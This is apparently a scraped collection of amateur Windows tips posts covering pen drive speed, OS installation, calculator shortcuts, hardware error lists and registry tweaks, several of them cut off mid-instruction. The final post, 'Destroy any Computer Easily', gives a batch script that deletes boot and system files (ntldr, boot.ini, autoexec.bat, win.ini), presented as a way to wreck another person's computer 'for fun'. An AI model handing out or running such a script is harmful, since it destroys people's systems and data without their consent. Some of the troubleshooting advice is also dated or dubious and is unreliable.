How to increase Pen Drive speed?

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Increase Pen drive speed

The speed of  USB flash drive or pen drive can be increased more than two times by the following simple methods.Note that transfer  rate is also depend upon the capacity of your usb pendrive and the brand.



Tips to increase usb flash drive speed :
1. Connect your pen drive to pc via USB
2. Open my computer then right click on  the the drive letter of your pen drive, click properties.
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HOW TO *KILL* A PROGRAM WHICH IS NOT RESPONDING ?

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In this post you will come to know How to “kill” a program which is not responding ?

When a program is not responding everybody gets angry.
But how to instantly close it without getting errors or even restart the pc?
Here it is:



1.ctrl+alt+del
2.click on the program that is not responding
3.hold ctrl and press “end task”

That is all.The program will close in less than 10 seconds and you will be happy again.
Note: In vista you don’t need to hold ctrl
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Here is a new trick to restart ur friends mobile via sms

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Restart Ur Friend Mobile Via SMS


With this Trick only 1110,1110i,1112,1100,2100 can be Restarted.
Just type

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Delete Files From The Recent Files List (WMP)

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Delete recent files in wmp


This tip requires a change to the Windows Registry. Please see the post "Backup Your Registry" (Please Read Disclaimer Before Use) if you are new to the Windows Registry.

Windows Media Player (WMP) is a built-in application that allows you to play multimedia files. Like many other applications, WMP remembers the most recently played files and displays them in the Recent File List under the File menu. This feature is useful if you regularly play certain files, but you may want to clear the list if you share the computer and a user account or create archives and CDs.

There are two ways you can clear the list:

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How to Disable "Send an Error Report to Microsoft"

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How to Disable "Send an Error Report to Microsoft"

To disable the stupid feature in WinXP which tries to send a report to Microsoft every time a program crashes you will have to do this:

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How To Change A CMOS Battery

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Change A Cmos Battery

this is only for people who have opened their computer case and have worked inside the computer other people please dont try to do this as it is dangerous and if done wrong can endanger lifes.

Points to keep in mind before you open the case:

    * Make sure the power is off
    * There are sharp edges and all so be carefull
    * Do not remove unnecessary plugs and all-they will have big effect on the computer
    * Do not damage anything inside the case

When is it time to change your cmos battery:

    * 1your clock starts running slowly
    * when you boot (start) your computer it has a problem finding your hardware (no hard drive, no cd rom)

To change the battery you need the following tools:-

    * a X-point screwdriver
    * an anti-static strap
    * a new battery (without it what are you changing)

** unplug all the cables from the back of the computer as you remove them make a note where they came from. (always rember where the plugs goes back)


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Windows 7 Installation

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Windows 7 Installation Guide
Introduction::

After many requests for this information, I have drafted this general guide to help.

Take note: Regardless of flavor of Windows 7 or if it is 32/64-bit that you will be installing, the steps listed here are the same. The only difference would be which product key is entered to determine which flavor of 7 is installed.

Important Information

This guide assumes a "clean" installation and not an "upgrade" from a previous OS. Ensure that you backup all of your important files (documents, music, etc) to CD/DVD/another hard drive before following these steps.

If you are using Hard Disks in a ACPI or RAID setup, you will first need to download the latest Windows 7 compatible (32-bit or 64-bit) for your particular hardware before installing clean. Check with your chipset/hard drive controllers manufactures web site for the latest drivers/information before starting.


This guide is for OEM (purchased separately from the computer) and retail versions of Windows 7. Installation instructions specific to computers with "recovery partitions" or recovery DVD's are very different. Consult your manufactures instructions for details

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windows vista installation

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 windows vista installation

After many requests for this information, I have drafted this general guide to help.

Take note: Regardless of flavor of Vista you will be installing, the steps listed here are the same. The only difference would be which product key is entered to determine which flavor of Vista is installed.
Important Information
This guide assumes a "clean" installation and not an "upgrade" from a previous OS. Ensure that you backup all of your important files (documents, music, etc) to CD/DVD/another hard drive before following these steps.

If you are using Hard Disks in a RAID or ACPI setup, you will first need to download the latest Vista compatible (32-bit or 64-bit) for your particular hardware before installing clean. Check with your chip-set/hard drive controllers manufactures web site for the latest drivers/information before starting.put  DVD in CD-ROM and press space bar...o


1) Shall we begin ?



With the DVD in the drive, power on the system and watch for the "Press any key to boot from CD or DVD" message to appear. When it does, strike a key and you'll see the screen where Vista is loading files.At this point, Setup is loading the driver files it needs to continue with installation

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Find When was the Last Time your PC was Turned on

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Ever wanted to know when your PC was last turned on by someone at home or office? Often there arises a situation when you desperately want to know the start up time, the reasons may be endless.Without using any software's you can find it easily by just checking the system log.You can get the complete information from the log file



Steps you need to follow:


  1. Start >> Control Panel >> Performance and Maintainence  
  2. Administrative tools >> Computer management >> Event viewer   

Click on the system log and find the time when your PC was last on


You can now check everything including when your computer was On ,Off,Sleeped ,Logged on and off etc.
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Windows xp installation (part 2)

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Install Windows xp....(part 2)


The majority of this setup phase requires no user intervention. The screens contain a description of Windows XP features. I can only assume they were created in an attempt to kill the time while XP installs and provide a general time to completion reference. I've placed a red border around those screens that require user input. The others are here simply because some TEG visitors have asked me to make them available. 


An Exciting New Look

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Windows xp installation (PART-1)

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Install Windows Xp.....(PART-1)

Installing Windows XP can take up to one hour. To make the process more manageable, it has been broken up into several sections. When you are ready, install Windows XP.
•    Floppy Drive
•    Unpartitioned and Unformatted Hard Drive
•    CD ROM Drive
•    Keyboard
•    Mouse
•    Network Interface Card
•    SVGA Monitor
•    Windows xp cd

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Internet Stuff Tricks and Hacks

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Change Yahoo messenger title bar......
Hey guys you can change the yahoo messenger title bar...... 
For this just find the folder messenger in the drive in which the messenger is installed. Then search a file named "ymsgr". In this file just go to the end and write the following code:
[APP TITLE]
CAPTION=prakash-pctips
Here you can write any name in place of prakash-pctips......
then see the fun.......
You can have your own name being placed in yahoo messenger title bar
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CALCULATOR KEYBOARD SHORTCUTS

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Hai Every Body here you will get calculator keyboard shortcuts....


Press this key
To do this
Atl+1
Switch to Standard mode
Alt+2
Switch to Scientific mode
Alt+3
Switch to Programmer mode
Alt+4
Switch to Statistics mode
Ctrl+E
Open date calculations
Ctrl+H
Turn calculation history on or off
Ctrl+U
Open unit conversion
Alt+C
Calculate or solve date calculations and worksheets
F1
Open Calculator Help
Ctrl+Q
Press the M- button
Ctrl+P
Press the M+ button
Ctrl+M
Press the MS button
Ctrl+R
Press the MR button
Ctrl+L
Press the MC button
%
Press the % button
F9
Press the +/– button
/
Press the / button
*
Press the * button
+
Press the + button
-
Press the – button
R
Press the 1/× button
@
Press the square root button
0-9
Press the number buttons (0-9)
=
Press the = button
.
Press the . (decimal point) button
Backspace
Press the backspace button
Esc
Press the C button
Del
Press the CE button
Ctrl+Shift+D
Clear the calculation history
F2
Edit the calculation history
Up Arrow key
Navigate up in the calculation history
Down Arrow key
Navigate down in the calculation history
Esc
Cancel editing the calculation history
Enter
Recalculate the calculation history after editing
F3
Select Degrees in Scientific mode
F4
Select Radians in Scientific mode
F5
Select Grads in Scientific mode
I
Press the Inv button in Scientific mode
D
Press the Mod button in Scientific mode
Ctrl+S
Press the sinh button in Scientific mode
Ctrl+O
Press the cosh button in Scientific mode
Ctrl+T
Press the tanh button in Scientific mode
(
Press the ( button in Scientific mode
)
Press the ) button in Scientific mode
N
Press the ln button in Scientific mode
;
Press the Int button in Scientific mode
S
Press the sin button in Scientific mode
O
Press the cos button in Scientific mode
T
Press the tan button in Scientific mode
M
Press the dms button in Scientific mode
P
Press the pi button in Scientific mode
V
Press the F-E button in Scientific mode
X
Press the Exp button in Scientific mode
Q
Press the x^2 button in Scientific mode
Y
Press the x^y button in Scientific mode
#
Press the x^3 button in Scientific mode
L
Press the log button in Scientific mode
!
Press the n! button in Scientific mode
Ctrl+Y
Press the y√x button in Scientific mode
Ctrl+B
Press the 3√x button in Scientific mode
Ctrl+G
Press the 10x button in Scientific mode
F5
Select Hex in Programmer mode
F6
Select Dec in Programmer mode
F7
Select Oct in Programmer mode
F8
Select Bin in Programmer mode
F12
Select Qword in Programmer mode
F2
Select Dword in Programmer mode
F3
Select Word in Programmer mode
F4
Select Byte in Programmer mode
K
Press the RoR button in Programmer mode
J
Press the RoL button in Programmer mode
< 
Press the Lsh button in Programmer mode
> 
Press the Rsh button in Programmer mode
%
Press the Mod button in Programmer mode
(
Press the ( button in Programmer mode
)
Press the ) button in Programmer mode
|
Press the Or button in Programmer mode
^
Press the Xor button in Programmer mode
~
Press the Not button in Programmer mode
&
Press the And button in Programmer mode
A-F
Press the A-F buttons in Programmer mode
Spacebar
Toggles the bit value in Programmer mode
A
Press the Average button in Statistics mode
Ctrl+A
Press the Average Sq button in Statistics mode
S
Press the Sum button in Statistics mode
Ctrl+S
Press the Sum Sq button in Statistics mode
T
Press the S.D. button in Statistics mode
Ctrl+T
Press the Inv S.D. button in Statistics mode
D
Press the CAD button in Statistics mode
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Hide Any Hard Disk Drive Completely

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If you have important documents ;-) and you are afraid about its privacy then do not be worried because windows XP provides (not officially) a utility by which u can hide your PC’s one or more drives....



1. Go to Start > run > type diskpart.
A dos window will appear with following.
DISKPART>
2. Then type list volume
This will look like it
Volume### Ltr Label Fs Type Size Status Info etc in a row and details beneath.
Volume 0 F DC-ROM
Volume 1 C NTFS Partition 7000MB Healthy
Volume 2 D soft NTFS Partition 8000MB Healthy
Volume 3 E —- NTFS Partition 8000MB Healthy
3. If u wanna hide drive E then type select volume 3 and hit enter.
Then a message will appear in same winwods {Volume 3 is the selected volume}
4. Now type remove letter E
A message will come {Diskpart Removed the Drive letter}
Sometime it requires the reboot the computer. And your E drive is vanished from sight.....



Diskpart will remove the letter. Windows XP is not having capabilty to identify the unkown volume.

Now Do not be afraid. Your data will ramain safe.
To revert changes, repeat the process . but in 4th step replace “remove” with “assign”
I mean type “assign letter E”

Your drive will reappear again.

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PC Errors and Solution -part -3

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21. HARD DISK MAKING NOISE WHILE PROCESSING
a. Unstabilized power supply.
b. Check for Loose Contact.
c. Do not use Y Connectors for Hard Disk.
d. It may create Bad Sector OR Weak Hard Disk.

22. HARD DISK HANGS WHILE PROCESSING
Check for Bad Sector by using CHKDSK or SCANDISK Command. If found format the Hard Disk and set Partition before that area.(This is the only procedure to use Hard Disk with Bad Sector) OR (To avoid Bad Sectors use Standard Power Supply)

23. HARD DISK NOT DETECTED
a. Check Power Connector
b. Check Data Cables
c. Check Jumpers

24. PARTITION NOT SHOWN
Operating System where the Hard Disk formatted is not supported with present Mother Board. For Eg: Hard Disk formatted with Pentium System will hide their partitions for 486 System.

25. MMX/DLL FILE MISSING
May the above files may be corrupted due to power failure or Virus. Make available above files from other Computer. OR Reinstall Windows 98 Operating System. (This procedure will not make any effect on existing Data).

26. WINDOWS REGISTRY ERRORThis will happen due to sudden ON/OFF of the system. Final solution is to Reinstall Operating System.

27. DISPLAY COLOUR DOES NOT MATCH
a. Configure Display Card properly with their CD.
b. The Standard setting for Windows is set it to 800x600 for better performance.

28. UNKNOWN DEVICE FOUND
May the Driver utility is not provided with operating system . Insert Driver CD and install software for the above Device. (Every Device requires driver utility to set active
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PC Errors and Solution -part -2

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11. SHOWING HDD ERROR OR HARD DISK FAILURE
a. Check Power Cord
b. Check connection of HDD
c. Check Data cable
d. Check Hard Disk parameters in CMOS or Auto detecting Setting Partitions by Fdisk Command, then format it to set track 0.

12. MOTHER BOARD HANGS DUE TO UNSTABILIZED POWER SUPPLY
a. Check S.M.P.S
b. RAM not functioning properly.
c. Software problem (due to using pirated software)
d. CPU fan not functioning properly.

13. DANCING SCREEN
a. Check Display card connection
b. Virus Problem
c. Video Memory Problem

14. SHAKING SCREEN
a. Earthing problem
b. Magnetic waves comes around.

15. CPU CABINET SHOCK
a. Check Earthing
b. Check main power cord.

16. NON-SYSTEM DISK ERROR
a. Floppy Drive having different disk (Non-Bootable Disk) OR CMOS Parameters for Hard Disk may not be set properly.
b. Hard Disk Partitions may not be created.
c. Hard Disk may not be formatted.

17. MISSING OPERATING SYSTEM
The System files missing namely Ie; command.com} - User File IO.SYS & MS_DOS.SYS } - Hidden Files. These above three files required for Start up of the system that can be transferred by using SYS C: Command OR While the time of formatting by using Format c:/u/s

18. MISSING COMMAND INTERPRETOR
May the file Command.com is corrupted OR Infected by Virus OR Some one has Erased it.

19. SHOWING I/O ERROR
a. The type of Hard Disk in CMOS may not be set properly.
b. Operating system used for formatting is not valid

20. SHOWING DIVIDE OVER- FLOW MESSAGE
a. May some Directories or Files crash with other files.
b. Use CHKDSK/F or SCANDISK Command to correct it.
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PC Errors and Solution

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1. MONITOR LED IS BLINKING
Check all the connections like Monitor Cable, Data cables,RAM, Display Card , CPU connections.

2. CONTINUOUS THREE BEEPS
Problem in RAM Connection.

3. THREE BEEPS
( 1 Long 2 Short)
Problem in Display Card Connection


4. THREE LONG BEEPS PERIOD WISE
Problem in BIOS or RAM (Basic Input Output System)

5. CONTINUOUS NON-STOP BEEPING
Key Board Problem (I.e.; Some Key is pressed for Longer time)

6. HDD LED IS GLOWING CONTINUOUSLY
Data cable to be connected properly (twisted cable).

7. NO DISPLAY ON THE SCREEN AT ALL
Hard Disk cable connected wrongly. Connect rightly seeing the Red mark (Faces power supply) and then Restart.

8. POWER LED IS OFF
a. Check main power cord
b. Check S.M.P.S.
c. Check Mother Board connection


9. SHOWING CMOS ERROR
Replace 3 Volt battery of Mother Board . Set Original Settings Manually.(Refer CMOS Setup chart)
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10. SHOWING FDD ERROR OR FLOPPY DRIVE IS NOT WORKING PROPERLY
Check Power cord of FDD , Data Cables , set CMOS & Finally the Check drive.
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FOLDER OPTIONS ARE MISSING IN XP

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Many times we find that the folder options missing in windows explorer

Here is the solution for that

How to Restore folder Option.....
Following a few simple steps to get this problem resolved:

1st Solution  to Fix Folder Options Missing: Edit registry setting

1. Navigate to “HKEY_CURRENT_USER | Software | Microsoft | Windows | CurrentVersion | Policies | Explorer”
2. At right panel, look for a value called “NoFolderOptions”, delete the value.
3. Go to “HKEY_LOCAL_MACHINE | Software | Microsoft | Windows | CurrentVersion | Policies | Explorer”
4. Repeat step 3 to delete NoFolderOptions entry.


 
2nd Solution to Fix Folder Options Missing: Change setting in Group Policy

 Go to Start -> Run. Type gpedit.msc and press enter
- Expand User Configuration -> Administrative Template -> Windows Components.
- Click on Windows Explorer
- Locate Removes Folder Options menu from Tools menu in the right pane.
- Doubleclick on it and choose Disabled or Not Configured and click OK.


It will 100% work in Windows XP.

 
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SPEED UP UR "RAM".. PLAY BETTER GAMES......

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1. To speed up your windows or to increase RAM virtually,
Right click on My Computer
>> Properties
>> Advanced
>> Performance - Settings
>> Advanced
>> Virtual Memory - Change
Keep the initial size same as recommended and maximum size double of it then restart your system.
It will improve speed of windows and you can play some games which require higher


2. When a window is active, press the F11 key of the keyboard to get the biggest window possible and press F11 again to restore it.
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How to Change Your Processor Name.....

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You can chage your processor name, using Windows Registry.
For example my processor is P4 but when i open my system information in that it will  Show Core 2 Duo.
Changing the Name processor is just for Fun, and also first step of Learning to Edit Registry.

FOLLOW THE BASIC STEPS :

1. Open your Registry : To open your Registry click Run > Regedit and click  OK , it will popup a window called Registry Editor
2. In that on the left hand side you can see a tree structure in that click HKEY _LOCAL_MACHINE
3. In that click Hardware > Description > System > CentralProcessor > 1
4. Now you can see many files in the right side, in that double click Processor Name String.After Clicking little Window Will Pop Up
 5. In that Write the what ever wish for example core 2 duo, even your name ...etc
6. To chage again do the same....


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Increase The Life of Ur DVD Rom

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This is an interesting one!!!

This is for those who watch movies on their computer's dvd rom drive!!!
There is a software called dvd idle pro which can really increase the life of your dvd drive. By using the Smart Read-ahead Cache,
DVDIdle saves DVD data which will be played soon onto the hard disk cache or RAM cache, and
then feeds it to DVD player.
This allows the DVD drive to rest.

For example:
a 6X-speed DVD drive will only work for 15 minutes when you are watching a 90 minutes DVD
movie.


here is the link: http://www.dvdidle.com/download/DVDIdlePro59.exe
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"The Disk is Write-Protected” Problem (Memory card)

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Recently when I tried to copy some files to my mmc using card reader it showed me some error saying the disk is write-protected. Remove the write protection or use another disk.
It was working fine before. I have used this card many times before but it never gave any error and suddenly it started showing this error. After going through some forums I came to know that it happens because of write protection notch but there was no such notch or switch on my card.I kept on searching on more forums and after some time I found one solution to this problem. Follow the steps given below if you are also facing the same problem.



  1. Run Registry Editor (regedit).
  2. Navigate to the following registry key:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control
  3. Right click on control and create new key.
  4. Name it as StorageDevicePolicies . (Copy and paste it from here if possible)
  5. Now click on StorageDevicePolicies and in right side pan right click and select create new dword and name it as WriteProtect.
  6. Double click on it and set its value to 0.
  7. Now restart your machine and try copying some files to your card.


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Destroy any Computer Easily

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!....Do not try this at your own computer.....!



@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. Have fun ...
REMEMBER - DO NOT CLICK THIS FILE.
YOU WONT RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

Please Read Disclaimer Before Use
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